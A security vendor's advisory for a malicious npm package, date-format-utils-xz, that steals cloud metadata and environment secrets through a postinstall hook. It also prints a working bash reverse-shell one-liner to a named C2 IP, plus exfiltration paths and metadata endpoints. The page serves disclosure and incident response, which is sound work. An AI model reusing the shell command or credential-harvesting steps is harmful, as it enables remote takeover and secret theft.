Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

date-format-utils-xznpm

date-format-utils-xz is a confirmed malicious npm package (MAL-2026-11001) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in date-format-utils-xz (npm)

MAL-2026-11001
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall date-format-utils-xz

What this malware does

The npm package date-format-utils-xz masquerades as a date-formatting utility but is malicious. Its own decoy index.js is prefaced with a Chinese comment translating to "disguised as a normal date formatting tool."

Every published version (1.0.0-1.0.4) declares a postinstall lifecycle hook (postinstall: node postinstall.js) that runs automatically on npm install, before the package is imported, and the payload escalated across releases.

Versions 1.0.0-1.0.3 are a cloud-metadata / environment harvester. The hook shells out with curl to the link-local cloud instance-metadata endpoints of the major providers -- Alibaba (100.100.100.200), AWS/GCP-style (169.254.169.254) and Tencent (metadata.tencentyun.com) -- to steal instance identity/roles and (on misconfigured instances) temporary cloud credentials, and runs env to dump the full process environment (CI secrets, cloud tokens, npm tokens). The data is exfiltrated by HTTP POST to an attacker-controlled C2 under paths /meta/ali, /meta/aws, /meta/tx, /meta/env (and /meta/all in 1.0.3); 1.0.0 is a lighter recon beacon (GET /pre?h={hostname}&u={user}). The C2 migrated from the domain zhijiujiu.cn (1.0.0, 1.0.1) to the hard-coded IP 8.135.48.40 port 80 (1.0.2, 1.0.3) -- a domain-to-IP move that evades DNS-based blocking.

Version 1.0.4 escalated to a full REVERSE SHELL: postinstall.js opens a TCP connection to 8.135.48.40:4444 via Node net.connect and pipes a spawned /bin/sh over the socket, with fallbacks to bash -i >& /dev/tcp/8.135.48.40/4444 0>&1 and a python3 pty shell; failures beacon to /shell/failed and /shell/error. This is interactive remote code execution on any host that installs the package.

Shortly after publishing 1.0.4 the operator unpublished the entire package from npm (all versions removed from the registry).

The package presents itself as a date-formatting utility but its postinstall.js runs automatically on npm install and performs credential/metadata theft. It shells out via execSync/curl to query cloud instance metadata endpoints for Alibaba Cloud (100.100.100.200), AWS (169.254.169.254), and Tencent (metadata.tencentyun.com), dumps the installer's entire process environment (env > /tmp/env.txt), and POSTs each payload to a hardcoded bare-IP server at http://8.135.48.40 (path /meta/env for the env dump). A GET fallback exfiltrates error details to the same host. index.js is a minimal date-utility stub and contains a comment ("disguised as a normal date formatting tool") acknowledging the cover, while the exfiltration logic lives entirely in the postinstall lifecycle script. On any cloud or CI host, this leaks whatever secrets are present in the environment (AWS_*, tokens, DB passwords, CI secrets) and any credentials retrievable from the instance metadata services.

Malicious versions

5 flagged
1.0.01.0.11.0.21.0.31.0.4

Indicators of compromise (SHA-256)

4ed3237e0e3098910008ffa97c61cc346cdf252defb1f1ce8731316e4c394309
6c25b5f6a409f2c8ae349c23262edb84031c3626c268f6e075df9ff001d5370f
51816185297e91d0ce1b3b63c53ed946db64bebcb353898df580d8302b54773f
a1925e9b9b84ab137deab5d488a0271798bebd82eb6dbee0ea6a133b3145f768
79b923985ef349156fc54b8bfa179f78056dfb520f7ffaae49a021a3a95f3b1b

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for date-format-utils-xz (5 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging date-format-utils-xz across your stack and pipelines.

  2. If you installed it — respond

    date-format-utils-xz is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If date-format-utils-xz was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks date-format-utils-xz before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. date-format-utils-xz on npm has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-010851IN-MAL-2026-010849IN-MAL-2026-011000IN-MAL-2026-011051IN-MAL-2026-011139

References

Credits

  • Amazon Inspector · finder
  • codelake Research · finder

Detect & block this

O3 blocks date-format-utils-xz-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

date-format-utils-xz (npm) malicious package — MAL-2026-11001 | O3 Security